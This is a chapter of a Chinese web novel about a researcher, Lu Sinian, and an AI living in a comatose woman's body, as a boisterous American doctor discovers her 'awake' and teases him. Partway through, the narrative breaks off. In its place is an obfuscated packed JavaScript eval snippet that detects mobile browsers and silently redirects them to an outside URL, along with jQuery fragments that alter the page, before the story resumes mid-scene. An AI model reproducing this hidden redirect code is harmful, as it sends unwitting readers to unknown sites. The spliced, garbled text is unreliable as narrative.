105. 呆琳娜的执念

作品:《物流机器人不可能这么可爱

    陆斯年面无表情地看着眼前这极力证明“冰淇淋唤醒论”的小呆,听着她那套漏洞百出却又莫名带着点歪理的逻辑。


    感知到残留的强烈嗜好?


    这倒是有可能的。


    强烈的感官记忆有时确实能成为唤醒深度昏迷患者的刺激源之一。


    虽然“被冰淇淋馋醒”这说法离谱得像童话故事……


    但陆斯年倒是精准地抓住了另一个重点——失忆?


    如果ElenaPetrova真的因为脑损伤而失忆,那很多问题反而简单了。


    小呆这漏洞百出的扮演,或许反而能在伊芙琳面前蒙混过关?


    他的目光再次落到呆琳娜那依旧撅着以表达不满的嘴唇上,又移到那双努力想表现出“我很诚实”的碧蓝色眼眸。


    沉默了几秒,陆斯年似乎是妥协了,又像是有了新的计划,淡淡开口。


    “……仅限于香草味。小份。”


    “!!!”


    呆琳娜的眼睛瞬间亮了,仿佛有星星在里面炸开。


    她忙不迭地点头——差点就把脖子扭到,偏生脸上还没放弃,想挤出一个符合Elena人设的灿烂笑容。


    结果……当然只做出了一个嘴角抽搐的怪异表情。


    不过平板上的文字已经变成了欢呼。


    【耶!老板最好啦!香草味万岁!(★ω★)】


    陆斯年看着这惨不忍睹的表情管理,已经开始头疼明天该怎么跟伊芙琳解释“病人苏醒后出现面部肌肉控制障碍以及异常强烈的冰淇淋瘾”这个问题了。


    想是这么想,但他拿出手机,开始搜索附近哪家店的香草冰淇淋评价最好。


    或许,投喂冰淇淋,也能成为观察和测试这具身体与意识融合程度的一种方式?


    陆斯年冷静地合理化自己宠溺某个AI的行为,并完全无视了内心那一点因为看到她开心就莫名松动的情绪。


    第二天清晨,当伊芙琳穿着一身利落的职业装,握着咖啡杯推开实验室门时,她那双蔚蓝色的眼睛瞬间瞪圆了,手里的咖啡差点没飞出去——


    只见病床上,那个沉睡了不知多久的ElenaPetrova,竟然睁着眼睛,正小口小口地,极其笨拙地舔着陆斯年递到嘴边的一小勺香草冰淇淋!


    陆斯年则一脸冰山地举着勺子,动作僵硬得像是在进行某种精密仪器实验。


    “OhMyGod!Elena?!You’reawake?!(天啊!Elena?!你醒了?!)”


    伊芙琳瞬间爆发出极具穿透力的美式惊呼,咖啡杯随便往旁边的台子上一扔,踩着高跟鞋就“噔噔噔”地冲了过来,脸上写满了巨大的惊喜和难以置信。


    她完全无视了旁边一脸“生人勿近”的陆斯年,直接扑到床边,一把抓住“Elena”那只没在吃冰淇淋的手。


    吓得小呆嘴边的冰淇淋都抖掉了。


    只听伊芙琳连珠炮般发问。


    “Honey!Howareyoufeeling?!Canyouspeak?!Doyouknowwhathappened?!Thisisamiracle!Arealmiracle!(亲爱的!你感觉怎么样?!能说话吗?知道发生什么了吗?这真是个奇迹!真正的奇迹!)”


    美式大妞那扑面而来,毫不掩饰的热情,以及超高分贝的关怀,如同一股强烈的冲击波,直接把呆琳娜给整懵了。


    小呆哪里见过这种架势?


    她吓得往后缩了缩,碧蓝的眼睛里充满了惊慌和无措,像只受惊的小鹿。


    最终只能求助般地看向陆斯年,眼神里写着“老板救命!这姐姐好可怕!”


    伊芙琳却把这反应当成了病人苏醒后的常见困惑和脆弱,更加心疼了。


    她不由分说地就想来个热情的拥抱:“Ohyoupoorthing!Don’tbeafraid!You’resafenow!(哦我可怜的小东西!别怕!你现在安全了!)”


    呆琳娜吓得差点直接从床上弹起来(幸亏肌肉没力气)!


    陆斯年适时地挡了一下,隔开了伊芙琳那过于热情的肢体接触,语气平淡地解释:“她刚醒,声带受损,记忆似乎也有缺失,需要安静。”


    伊芙琳这才稍微冷静了一点,但依旧兴奋不已:“Ofcourse!Ofcourse!I’mjustso…sothrilled!(当然!当然!我只是太……太激动了!)”


    说着,她还是忍不住伸手亲昵地捏了捏“Elena”苍白的脸颊。


    被捏的小呆浑身一僵。


    还没等她用眼神抱怨,伊芙琳立刻拿出了专业态度,当然,风格依旧是美式的。


    “好了亲爱的,我们需要给你做一整套检查看看你的身体情况!我们从一些基础的认知和运动功能评估开始,然后做个全身MRI……”


    她一提到“全套检查”“MRI”,呆琳娜脸上立刻露出了明显的抗拒和害怕。


    她下意识地往后缩,摇头,发出沙哑的“不……不要……”的气音。


    伊芙琳见状,猛地凑近,双手捧住呆琳娜的脸。


    “Mua”一下。


    在她额头上印下了一个响亮亮的吻!


    “别担心,甜心!”


    她笑容灿烂,语气阳光得仿佛能驱散一切阴霾。


    “检查很快就好!等所有检查做完,我给你买一个你见过最大、最豪华的冰淇淋圣代!”


    小呆:“……”


    她被那个突如其来的吻和冰淇淋圣代的承诺砸得晕头转向,CPU都快烧了。


    这、这到底是什么路数?!


    又亲又抱又给糖?


    人类的情感表达都这么……这么猛烈直接的吗?!


    她的数据库快要处理不过来了!


    陆斯年看着眼前这鸡飞狗跳的一幕,以及呆琳娜脸上那混合着惊恐、茫然,还有一丝对冰淇淋圣代渴望的复杂表情,太阳穴又开始突突地跳。


    他感觉自己这头疼病都要转为慢性了。


    好不容易等伊芙琳风风火火地出去安排检查事宜,实验室里暂时恢复了安静。


    呆琳娜还处于一种被文化冲击震傻的状态,呆呆地坐在床上,手指无意识地揪着被子。


    陆斯年走到床边,看着她这副样子,沉默了片刻,终于生硬地安慰了一句。


    “她就那样。习惯就好。”


    顿了顿,他又补充了一句,声音依旧没什么起伏,却奇异地带着一点安抚的力量。


    “检查的时候我会在你旁边。不会让她……再亲你。”


    话音刚落,他手上的平板电脑悄悄亮起,跳出一行小字。


    【老板……A国人都这么……热情吗?(°ー°〃)还有……圣代……真的会有吗?】


    陆斯年瞥了一眼屏幕,面无表情地收回目光。


    “嗯。”


    “看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905518|184178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你表现。


    病房的门在陆斯年面前“啪嗒”一声无情关上,彻底隔绝了他的视线。


    透过门上那小小的观察窗,他能看到呆琳娜被伊芙琳团队的医护人员围住,正眼泪汪汪地看向门口,眼神里充满了被抛弃的无助和惊慌。


    伊芙琳却没有立刻跟进去,她抱着手臂,斜倚在门框上,饶有兴味地打量着陆斯年这副明显透着不放心甚至有点焦躁的模样,蔚蓝色的眼睛里闪烁着精明和探究的光芒。


    “Wow,Lu,”她拖长了语调,带着一丝戏谑。


    “你很在乎她嘛,嗯?”


    陆斯年收回目光,面无表情地看向眼前的金发女人,语气冷淡:“她是重要的实验对象。稳定性关乎数据可靠性。”


    伊芙琳嗤笑一声,显然不信这套说辞。


    她向前倾身,压低了声音,语气却更加肯定。


    “不不不。我以前见过你对待‘重要实验对象’的样子。这次可不一样。”


    她歪着头,像是发现了什么新大陆,眼神锐利:“你喜欢她。”


    这不是疑问句,是陈述句。


    陆斯年的眉头皱得更紧,避开她的目光:“无聊。”


    “Why?”


    伊芙琳却不依不饶,她似乎想起了什么,语气里带上了一点半真半假的抱怨和旧账。


    “皮格马利翁?因为你亲手‘唤醒’了她?哦,Lu,别告诉我你沉迷这种童话故事。我记得你当初拒绝我的理由之一可是——我不喜欢你这种“梦露风”,害我回去好好反思了一下我的国籍是不是原罪。可里面这位可是比我还“梦露”呢!”


    陆斯年:“……”


    他被这翻旧账弄得有些烦躁,冷声道:“你少夸张。”


    “我夸张?”伊芙琳挑眉,步步紧逼。


    “好吧,就算不是国籍问题。那我也不觉得ElenaPetrova是你喜欢的类型。我记得很清楚,你当着我的面,公然抨击过所谓的‘美式审美’,说太过张扬外放,缺乏内涵。”


    她上下扫视了一下门后的呆琳娜——金发、碧眼、身材火辣——即使病弱也看得出底子,完全是美式御姐的标配。


    “……”


    陆斯年被伊芙琳堵得一时语塞,沉默了两秒,才硬邦邦地甩出一句:“是,我确实更欣赏奥黛丽·赫本那种类型。”


    “So?”


    伊芙琳摊手,等着他的解释,眼神里的探究几乎要化为实质。


    陆斯年深吸一口气,想到自己毕竟还有求于人,最终用一种极其无奈,甚至带着点破罐破摔的语气,快速而低声道:“你说她么……”


    “……她是我的实验项目。但她……不知为何,对我产生了基于依赖感的错误情感投射。她喜欢我。”


    陆斯年抬起眼,看向伊芙琳,眼神恢复了惯常的冷静,仿佛在陈述一个实验现象。


    “我有什么办法?为了实验项目的情绪稳定和数据连贯性,我不能刺激她,导致她情绪崩溃。仅此而已。”


    伊芙琳听完这番“冷静客观”又“迫不得已”的自恋解释,脸上的表情变得十分古怪。


    像是想笑,又拼命忍住,最终化为了一个极其复杂的,带着点“我信你个鬼”的眼神。


    她拍了拍陆斯年的肩膀,语气意味深长:“行……为了科学献身……我懂了。”


    说完,她转身推开实验室的门走了进去,留下陆斯年一个人站在门外。


    门再次关上。